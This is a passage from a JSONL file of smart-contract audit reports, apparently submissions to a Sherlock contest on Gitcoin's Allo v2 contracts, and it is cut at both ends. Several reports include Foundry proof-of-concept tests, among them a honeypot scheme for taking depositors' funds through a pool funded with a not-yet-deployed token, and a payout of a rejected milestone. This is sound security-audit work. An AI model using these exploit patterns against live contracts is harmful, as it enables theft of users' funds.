the ```_createPool``` function in the Allo contract there is a check when baseFee > 0:\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```\nthis means that if users send the require baseFee the transaction will still fail and to create a pool they must always pay more than the baseFee.\n\n## Impact\nusers should always pay more than the base fee when creating a new pool otherwise the new pool cannot be created.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469C9-L478C10\n\n## Tool used\n\nManual Review\n\n## Recommendation\ncheck that the msg.value is exactly equal to the baseFee when token is not native or check that ```baseFee + _amount == msg.value``` when token is native and revert if the conditions are not true.\nor instead of this:\n```solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n```\nuse only ```>``` instead of ```>=``` and make sure to send back the excess eth to he sneder.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/505.md"}} +{"title":"Honeypot attack possible because lack of checks in '_fundPool()'","severity":"info","body":"Damaged Cornflower Turkey\n\nhigh\n\n# Honeypot attack possible because lack of checks in '_fundPool()'\nPool creator can honeypot the funds of users by creating pools with fake balances.\n## Vulnerability Detail\nA user can fund pools using `_fundPool` in `Allo.sol`. \n```javascript\nsource:contracts/core/Allo.sol\n\n// findings marked with <=\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n\t_transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount})); <= // uses SafeTransferLib\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); <= // uses SafeTransferLib\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nThis function makes use of `SafeTransferLib`. \n\nHowever, `SafeTransferLib` does not check if the token is an EOA or not:\n```javascript\nsource: lib/solady/src/utils/SafeTransferLib.sol\n\nL10: /// - For ERC20s, this implementation won't check that a token has code,\nL11: /// responsibility is delegated to the caller.\n```\n\nThis means funding a pool with a non-existent token will still succeed and the token balance of the pool will be updated with the non-existing tokens, effectively creating a pool with fake tokens. The `getPoolAmount` functions returns the fake balance, which can easily trick users.\n\nNowadays a lot of tokens are deterministic like the next Curve LP tokens, next tokens to be minted by the Optimism Bridge.\n\nHere's a POC outlining an attack vector:\n\nAdd this to import to `Allo.t.sol`:\n```javascript\nsource: test/foundry/core/Allo.t.sol\n\nimport {RFPSimpleStrategy} from \"../../../contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\";\n```\n\nPOC:\n```javascript\nsource:test/foundry/core/Allo.t.sol\n\n // put this in test/foundry/core/Allo.t.sol\n // run using:\n // forge test --match-contract AlloTest --match-test test_Honeypot -vvvv\n function test_Honeypot() public {\n // Get the address of a deterministic token.\n // Deterministic tokens use CREATE2 or CREATE3\n // This makes it easy for anyone to predict what the next address will be.\n // The deterministic_token does not exist yet at this stage.\n address deterministic_token = makeAddr(\"deterministicToken\");\n address malicious_user = makeAddr(\"maliciousUser\");\n\n // Register a profile with the malicious user as owner and manager\n address[] memory pool_manager;\n pool_manager = new address[](1);\n pool_manager[0] = malicious_user;\n bytes32 ppId = _registry_.createProfile(\n 1337, \"Honeypot\", Metadata({protocol: 1, pointer: \"HoneyPot4Life\"}), malicious_user, pool_manager \n );\n\n RFPSimpleStrategy test_strategy = new RFPSimpleStrategy(address(allo()), \"RFPSimpleStrategy\");\n\n bytes memory init_data = abi.encode(100, false, false);\n\n vm.prank(malicious_user);\n allo().createPoolWithCustomStrategy(\n ppId,\n address(test_strategy),\n init_data,\n deterministic_token,\n 100_000 * 1e18,\n metadata,\n pool_manager\n );\n\n // Let's say in 1000 blocks, the non existing token is finally live\n // The malicious user starts to sollicit people to fund this non-profit pool\n vm.warp(block.timestamp + 1000);\n\n // The deterministic token has now been created!\n // Alice uses the `getPoolAmount()` function to check the balance of the pool.\n // Console logs = 99000000000000000000000 \n address alice = makeAddr(\"alice\");\n vm.startPrank(alice);\n console.log(\"Amount in Pool: %s\",test_strategy.getPoolAmount());\n\n // Alice funds 10000 * 1e18 tokens. \n allo().fundPool(1, 100_00 * 1e18);\n vm.stopPrank();\n \n // The malicious user can just call the withdraw function now and take the tokens\n // that Alice deposited. Honeypot succeeded.\n vm.startPrank(malicious_user);\n test_strategy.setPoolActive(false);\n test_strategy.withdraw(100_00 * 1e18);\n }\n```\nThis is just one of the scenarios that is possible with deterministic tokens. There are also deterministic tokens on L2's. The team has stated that they want to launch on all EVM chains + zkSync Era.\n\n## Impact\nIt is very easy for a malicious user to set traps, which can easily lead to a person losing their funds, especially since the `getPoolAmount()` returns the fake balance.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n## Tool used\nManual Review\n\n## Recommendation\nCreate a check that checks if the token used to create a pool is not an EOA.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/504.md"}} +{"title":"Rejected milestones can still be paid out","severity":"info","body":"Damaged Cornflower Turkey\n\nmedium\n\n# Rejected milestones can still be paid out\nThere is a design flaw in `RFPSimpleStrategy`. There is nothing that checks if a milestone is rejected during the `distribute` function. This can lead to rejected milestones still being paid out.\n## Vulnerability Detail\nIn `RFPSimpleStrategy.sol`, a pool manager can decide to reject a pending milestone submitted by the `acceptedRecipientId` as [commented](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L280) by the team:\n```javascript\n/// @notice Reject pending milestone submmited by the acceptedRecipientId.\n```\n\nBut, there is nothing that checks if a milestone has been accepted or rejected when calling the `distribute` function in `RFPSimpleStrategy.sol`. \n```javascript\n// no checks\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n\nThis means that the poolManager can distribute the funds to the `acceptedRecipientId` even though the milestone has been rejected.\n\nPOC:\n```javascript\nsource:test/foundry/strategies/RFPSimpleStrategy.t.sol\n\n // put this in test/foundry/strategies/RFPSimpleStrategy.t.sol\n // run using:\n // forge test --match-contract RFPSimpleStrategy --match-test test_distributeRejectedMilestone -vvvv\n function test_distributeRejectedMilestone() public {\n // Set milestones and submit upcoming milestones\n __register_setMilestones_allocate_submitUpcomingMilestone();\n\n // Reject upcoming milestone\n // Expect emit that changes status to rejected\n // Assert that upcoming milestone == rejected\n vm.expectEmit();\n emit MilestoneStatusChanged(0, IStrategy.Status.Rejected);\n vm.prank(pool_admin());\n strategy.rejectMilestone(0);\n RFPSimpleStrategy.Milestone memory milestone = strategy.getMilestone(0);\n assertEq(uint8(milestone.milestoneStatus), uint8(IStrategy.Status.Rejected));\n \n // Give the admin 1e19 native tokens \n vm.deal(pool_admin(), 1e19);\n vm.prank(pool_admin());\n\n // Fund the pool with 1e19 native tokens\n allo().fundPool{value: 1e19}(poolId, 1e19);\n \n // Distribute the funds to the acceptedRecipientId while its a rejected milestone\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n}\n```\n\n## Impact\nA rejected milestone should not be paid out. When a payout occurs for a rejected milestone, these funds will be lost forever.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L283-L290\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n## Tool used\nManual Review\n## Recommendation\nAdd a check that reverts when the upcoming `milestone` has a rejected status.\n```diff\nsource: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\nL430:\n+ if (milestone.milestoneStatus == Status.Rejected) revert();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/503.md"}} +{"title":"Creating a pool with a baseFee set will always lead to overspending","severity":"info","body":"Damaged Cornflower Turkey\n\nmedium\n\n# Creating a pool with a baseFee set will always lead to overspending\nWhen someone creates a pool with a `baseFee` is set, he will always have to overspend due to not being able to send the exact amount required to create a pool.\n## Vulnerability Detail\nIn the `_createPool` function, `baseFee + _amount >= msg.value` is validated. This means the `msg.value` always needs to be more than `baseFee + _amount`. This leads to always having a portion of the funds being sent to `Allo.sol`.\n\nI wrote a POC to showcase this:\n```diff\nfile: test/utils/MockStrategy.sol\n\n// Add this to the end of the MockStrategy.sol, otherwise funding with NATIVE token will always fail.\n+ receive() external payable{}\n```\n\nThis first POC will showcase that creating a pool with the exact amount of funds required, will revert:\n```javascript\nsource: allo-v2/test/foundry/core/Allo.t.sol\n\n // forge test --match-contract AlloTest --match-test test_createPoolWithNativeToken -vvvv\n function test_createPoolWithNativeToken() public {\n\t\t// Set baseFee to 1e18 \n uint256 baseFee = 1e18;\n allo().updateBaseFee(baseFee);\n\n\t\t// Give the admin 10 * 1e18 native tokens\n vm.deal(address(pool_admin()), 10 * 1e18);\n\n vm.prank(pool_admin());\n // set msg.value to 10e18\n // 1e18 is for the baseFee\n // 9e18 is for the amount to fund the pool\n // this will revert with -> NOT_ENOUGH_FUNDS() error\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n allo().createPoolWithCustomStrategy{value: 10e18}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 9e18, metadata, pool_managers()\n );\n }\n```\n\nNow, let's do the same but this time we have to make sure that `msg.value > baseFee + _amount`, otherwise it will revert like shown in the previous POC:\n```javascript\nsource: allo-v2/test/foundry/core/Allo.t.sol\n\n // put this in test/foundry/core/Allo.t.sol\n // forge test --match-contract AlloTest --match-test test_createPoolWithNativeTokenWhileOverspending -vvv\n function test_createPoolWithNativeTokenWhileOverspending() public {\n\t\t// Set baseFee to 1e18\n uint256 baseFee = 1e18;\n allo().updateBaseFee(baseFee);\n\n\t\t// Give the admin 10 * 1e18 native tokens\n vm.deal(address(pool_admin()), 10 * 1e18);\n console.log(\"Balance of admin before: %s\", pool_admin().balance);\n console.log(\"Balance of Allo.sol before: %s\", address(allo()).balance);\n console.log(\"Balance of treasury before: %s \", allo_treasury().balance);\n console.log(\"Balance of strategy before: %s \", strategy.balance);\n\n vm.prank(pool_admin());\n // set msg.value to 10e18\n // 1e18 for baseFee\n // 8e18 for amount since amount cant be the same as msg.value + baseFee\n // this will lead to (msg.value - baseFee - _amount = 1e18) being sent to the Allo.sol contract\n allo().createPoolWithCustomStrategy{value: 10e18}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 8e18, metadata, pool_managers()\n );\n // Admin will have an empty balance\n console.log(\"---------------------------\\n Balance of admin after: %s\", pool_admin().balance);\n // Allo.sol will have the remaining value of msg.value as balance\n // 1e18\n console.log(\"Balance of Allo.sol after: %s\", address(allo()).balance);\n // Treasury will have the baseFee + percentFee as balance\n console.log(\"Balance of treasury after: %s\", allo_treasury().balance);\n // Treasury will have _amount - percentFee as balance\n console.log(\"Balance of strategy after: %s\", strategy.balance);\n }\n```\n\nAs you can see, the remaining `msg.value` will be sent to `Allo.sol`, in this case, `1e18`.\nThe owner of `Allo.sol` will have to call `Allo.recoverFunds()`.\n\nThe same logic applies to a person that creates a pool using non-native tokens while a `baseFee` is set. This person has to overspend on his `msg.value` as shown below:\n\n```javascript\nsource: allo-v2/test/foundry/core/Allo.t.sol\n\n\t// put this in test/foundry/core/Allo.t.sol\n\t// forge test --match-contract AlloTest --match-test test_createPoolWithNonNativeTokenWhileOverspending -vvv\n function test_createPoolWithNonNativeTokenWhileOverspending() public {\n\t\t// Set baseFee to 1e18\n uint256 baseFee = 1e18;\n allo().updateBaseFee(baseFee);\n\n\t\t// Give the admin 2 * 1e18 native tokens\n vm.deal(address(pool_admin()), 2 * 1e18);\n console.log(\"Native Token Balance Admin Before: %s\", pool_admin().balance);\n console.log(\"Native Token Balance Allo.sol Before: %s\", address(allo()).balance);\n console.log(\"Native Token Balance Treasury Before: %s \", allo_treasury().balance);\n console.log(\"Native Token Balance Strategy Before: %s \", strategy.balance);\n\n vm.prank(pool_admin());\n // set msg.value to 2e18 since msg.value cant be the same as baseFee when using non native tokens\n // 1e18 for baseFee\n // for the sake of this example, we will fund with 100 * 1e18 non native tokens. these have been distributed\n // in the setUp() function\n // this will lead to (msg.value - baseFee - _amount) being sent to the Allo.sol contract -> 1e18\n allo().createPoolWithCustomStrategy{value: 2e18}(\n poolProfile_id(), strategy, \"0x\", address(token), 100 * 1e18, metadata, pool_managers()\n );\n // Admin will have an empty balance native balance\n console.log(\"------------------------------\\n Native Token Balance Admin After: %s\", pool_admin().balance);\n // Allo.sol will have the remaining value of msg.value as balance -> 1e18\n console.log(\"Native Token Balance Allo.sol After: %s\", address(allo()).balance);\n // Treasury will have the baseFee as native token as balance -> 1e18\n console.log(\"Native Token Balance Treasury After: %s\", allo_treasury().balance);\n // Treasury will have the percentFee as non native token as balance -> 1e16\n console.log(\"Non Native Token Balance Treasury After: %s\", token.balanceOf(address(allo_treasury())));\n // Treasury will have _amount - percentFee as non native token balance\n console.log(\"Non Native Token Balance Strategy After: %s\", token.balanceOf(address(strategy)));\n }\n```\n\nAdditionally, due to not being able to specify the amount being recovered in `recoverFunds`, the owner needs to be wary of the following scenario:\n- poolCreator1 wants his funds recovered. \n- Just before the owner of Allo.sol calls recoverFunds, poolCreator2 overspends while creating a pool. \n- owner calls `recoverFunds`, not knowing poolCreator2 had funds in `Allo.sol`\n- poolCreator2 wants his funds recovered. \n- This is not possible since the funds got sent to poolCreator1 because the `recoverFunds` function sweeps the whole balance of the `Allo.sol` contract.\n```javascript\nfunction recoverFunds(address _token, address _recipient) external onlyOwner {\t uint256 amount = _token == NATIVE ? address(this).balance : IERC20Upgradeable(_token).balanceOf(address(this));\n _transferAmount(_token, _recipient, amount);\n }\n```\n## Impact\nOverspending happens every time a pool is created with the `baseFee` set, aka, very often. \nThis, in combination with the fact that `recoverFunds` does not specify an amount to be recovered, is just a matter of time before one of the poolcreators who have overspent will lose their money.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L475\n## Tool used\nManual Review\n## Recommendation\nRemove the `=` operand in `Allo._createPool`\n```diff\nL473:\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/502.md"}} +{"title":"Allocating and voting on 'address(0)' is possible in RFPCommitteeStrategy","severity":"info","body":"Damaged Cornflower Turkey\n\nmedium\n\n# Allocating and voting on 'address(0)' is possible in RFPCommitteeStrategy\nLack of `address(0)` makes it possible to allocate and vote on the `address(0)`, resulting in the poolManager having to withdraw the funds of that contract and deploying a new one while paying the percentFee and baseFee again.\n## Vulnerability Detail\nThere is no `address(0)` check in `RFPCommitteeStrategy._allocate`.\n```javascript\nsource:contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol\n\nfunction _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n if (acceptedRecipientId != address(0)) {\n revert RECIPIENT_ALREADY_ACCEPTED();\n }\n\n address voteCastedTo = votedFor[_sender];\n if (voteCastedTo != address(0)) {\n votes[voteCastedTo] -= 1;\n }\n\n address recipientId = abi.decode(_data, (address));\n\n votes[recipientId] += 1;\n votedFor[_sender] = recipientId;\n\n emit Voted(recipientId, _sender);\n\n if (votes[recipientId] == voteThreshold) {\n acceptedRecipientId = recipientId;\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n recipient.recipientStatus = Status.Accepted;\n\n _setPoolActive(false);\n\n emit Allocated(acceptedRecipientId, recipient.proposalBid, allo.getPool(poolId).token, address(0));\n }\n }\n```\n\nMoreover, `address(0)` will become the `acceptedRecipientId` if this check passes in `RFPCommitteeStrategy._allocate`:\n- `if (votes[recipientId] == voteThreshold)`\n\nThis means that the poolManager will have no other choice than withdrawing the funds out of `RFPCommitteeStrategy.sol`.\n\nThe reason that the poolManager has to withdraw the funds out of `RFPComitteeStrategy` is:\n- He does not want to distribute funds to `address(0)`.\n- He can not change the `acceptedRecipientId` to someone else because of this check in `RFPCommitteeStrategy._allocate`:\n\t- `if (acceptedRecipientId != address(0)) {revert RECIPIENT_ALREADY_ACCEPTED();}`\nThis leaves the poolManager no other option than withdrawing the funds, creating a new pool again and paying the `percentFee` and `baseFee`(if set) again.\n\nHere's a POC showcasing that voting and allocating to `address(0)` is possible:\n```javascript\nsource: test/foundry/strategies/RFPCommitteeStrategy.t.sol\n\n// put this in test/foundry/strategies/RFPCommitteeStrategy.t.sol\n// run using:\n// forge test --match-contract RFPCommitteeStrategy --match-test test_alloAndVoteZeroAddress -vvvv\n function test_alloAndVoteZeroAddress() public {\n // Register recipient and set milestones\n __register_recipient();\n __setMilestones();\n\n // Check that the voteTreshold == 2 \n assertEq(voteThreshold, 2);\n\n\n // Vote twice to reach voteTreshold which triggers allocation\n vm.startPrank(address(allo()));\n // First vote\n strategy.allocate(abi.encode(address(0)), address(pool_admin()));\n\n // Expect allocated emit\n vm.expectEmit();\n emit Allocated(address(0), 0, NATIVE, address(0));\n \n // Second vote\n strategy.allocate(abi.encode(address(0)), address(pool_admin()));\n vm.stopPrank();\n\n // Check current votes on address(0), should equal to 2\n uint256 votes = strategy.votes(address(0));\n assertEq(votes, 2);\n }\n```\n\n## Impact\nRedploying the strategy, paying the `baseFee`, paying the percentFee.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L138\n## Tool used\nManual Review\n## Recommendation\nAdd a zero address check in `RFPCommitteeStrategy._allocate`:\n```diff\n function _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender){\n// .. ommitted code\n// add this to Line 116\n+ if(recipientId == address(0)) revert();\n// .. ommitted code\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/499.md"}} +{"title":"Missing Parameter Existence Checks in Multiple Functions","severity":"info","body":"Polished Linen Butterfly\n\nmedium\n\n# Missing Parameter Existence Checks in Multiple Functions\n\nThis report highlights a set of informational and low-severity issues found in several functions within the scope. These issues pertain to the absence of checks to ensure that new parameter values differ from existing ones, potentially leading to unnecessary state changes and event emissions. While each issue individually holds low severity, they have been combined into a single medium report due to their cumulative effect.\n\n## Vulnerability Detail\n\nThe following functions lack checks to verify whether the new parameter values provided are identical to the current ones:\n\n`Allo.sol`\n\n1. `addToCloneableStrategies`\n2. `removeFromCloneableStrategies`\n3. `addPoolManager`\n4. `removePoolManager`\n5. `_updateRegistry`\n6. `_updateTreasury`\n7. `_updatePercentFee`\n8. `_updateBaseFee`\n\n`Registry.sol`\n\n9. `updateProfilePendingOwner`\n\n`QVSimpleStrategy.sol`\n\n10. `addAllocator`\n11. `removeAllocator`\n\nIn these functions, if the new value is the same as the existing one, the functions will still execute the operation and emit an event, resulting in unnecessary state changes.\n\n## Impact\n\nThey may lead to inefficient use of resources, including unnecessary transactions and event emissions. Additionally, the lack of parameter value change checks might result in misleading event emissions when there is no actual change in the state.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L241-L277\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L553-L591\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Registry.sol#L248-L257\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L88-L101\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to add checks at the beginning of each affected function to ensure that the new parameter values differ from the current ones or to check for existence when adding and not existence when removing.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/498.md"}} +{"title":"Risk of losing fund when Excessive Native Token amount is mistakenly sent by Pool creator","severity":"info","body":"Sleepy Shadow Horse\n\nmedium\n\n# Risk of losing fund when Excessive Native Token amount is mistakenly sent by Pool creator\nNative Token Fund will be lost when Excessive Native Token amount is mistakenly sent by Pool creator to contract when creating pool due to the validation at [L473](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473) which allows msg.value to be higher than amount needed.\n## Vulnerability Detail\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n ...\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n >>>>> if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n...\n}\n```\nas pointed from the code above the validation `baseFee+_amount >= msg.value` and `baseFee >= msg.value` , shows that even if msg.value is excessive the function execution will still go through thereby trapping the Native Token amount in the contract.\n### Proof of Concept\n```solidity\n function test_createPoolWithBaseFee() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.expectEmit(true, false, false, true);\n emit BaseFeePaid(1, baseFee);\n\n vm.deal(address(pool_admin()), 1e23);\n\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 1e23}( // value is excessively above baseFee required\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n } \n```\nas seen from the test code above when `value` is set to 1e23 which is excessively above `baseFee` and the functions pass through there by trapping the excess fund in the contract\n## Impact\nLoss of Fund due to entrapment in the contract\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\nFoundry,\nManual Review\n\n## Recommendation\n```solidity\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n ...\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n --- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+++ if ((_token == NATIVE && !(baseFee + _amount == msg.value)) || (_token != NATIVE && !(baseFee == msg.value))) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n...\n}\n```\nAs seen above revert the code when msg.value is not in direct equal balance to the amount needed","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/496.md"}} +{"title":"Use of Openzeppelin's AccessControl.sol in an upgradeable contract","severity":"info","body":"Refined Pink Duck\n\nhigh\n\n# Use of Openzeppelin's AccessControl.sol in an upgradeable contract\nThe Allo.sol contract imported non-upgradeable version of Openzeppelin's AccessControl library\n\n## Vulnerability Detail\nThe Allo contract is an upgradeable contract. As a result, the contract imported Openzeppelin's upgradeable contracts libraries except for AccessControl.sol.\n\n## Impact\nAccess control roles can be reset or lost during upgrade.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L8C1-L8C68\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse Openzeppelin's AccessControlUpgradeable.sol library instead of AccessControl.sol.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/495.md"}} +{"title":"Lack of `disableinitializers` call to prevent uninitialized contracts","severity":"info","body":"Cool Leather Leopard\n\nmedium\n\n# Lack of `disableinitializers` call to prevent uninitialized contracts\nLack of `disableinitializers` call to prevent uninitialized contracts\n\n## Vulnerability Detail\nMultiple contracts are using the Initializable module from OpenZeppelin. For this reason and in order to prevent leaving that contract uninitialized OpenZeppelin's documentation recommends adding the _disableInitializers function in the constructor to automatically lock the contracts when they are deployed. this will protect the contract that holds the logic business from being initialized by an attack.\n\n```solidity\n\ncontract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl, ReentrancyGuardUpgradeable, Errors {\n // ==========================\n // === Storage Variables ====\n // ==========================\n\n /// @notice Percentage that is used to calculate the fee Allo takes from each pool when funded\n /// and is deducted when a pool is funded. So if you want to fund a round with 1000 DAI and the fee\n /// percentage is 1e17 (10%), then 100 DAI will be deducted from the 1000 DAI and the pool will be\n /// funded with 900 DAI. The fee is then sent to the treasury address.\n /// @dev How the percentage is represented in our contracts: 1e18 = 100%, 1e17 = 10%, 1e16 = 1%, 1e15 = 0.1%\n uint256 private percentFee;\n\n /// @notice Fee Allo charges for all pools on creation\n /// @dev This is different from the 'percentFee' in that this is a flat fee and not a percentage. So if you want to create a pool\n /// with a base fee of 100 DAI, then you would pass 100 DAI to the 'createPool()' function and the pool would be created\n /// with 100 DAI less than the amount you passed to the function. The base fee is sent to the treasury address.\n uint256 internal baseFee;\n\n /// @notice Incremental index to track the pools created\n uint256 private _poolIndex;\n\n /// @notice Allo treasury\n address payable private treasury;\n\n /// @notice Registry contract\n IRegistry private registry;\n\n /// @notice Maps the `msg.sender` to a `nonce` to prevent duplicates\n /// @dev 'msg.sender' -> 'nonce' for cloning strategies\n mapping(address => uint256) private _nonces;\n\n /// @notice Maps the pool ID to the pool details\n /// @dev 'Pool.id' -> 'Pool'\n mapping(uint256 => Pool) private pools;\n\n /// @notice Returns a bool for whether a strategy is cloneable or not using the strategy address as the key\n /// @dev Strategy.address -> bool\n mapping(address => bool) private cloneableStrategies;\n\n // ====================================\n // =========== Initializer =============\n // ====================================\n\n /// @notice Initializes the contract after an upgrade\n /// @dev During upgrade -> a higher version should be passed to reinitializer\n /// @param _registry The address of the registry\n /// @param _treasury The address of the treasury\n /// @param _percentFee The percentage fee\n /// @param _baseFee The base fee\n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n\n```\n\n[github link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38-L90)\n\n```solidity\n\ncontract Registry is IRegistry, Native, AccessControl, Transfer, Initializable, Errors {\n /// ==========================\n /// === Storage Variables ====\n /// ==========================\n\n\n /// @notice This maps the anchor address to the profile ID\n /// @dev anchor -> Profile.id\n mapping(address => bytes32) 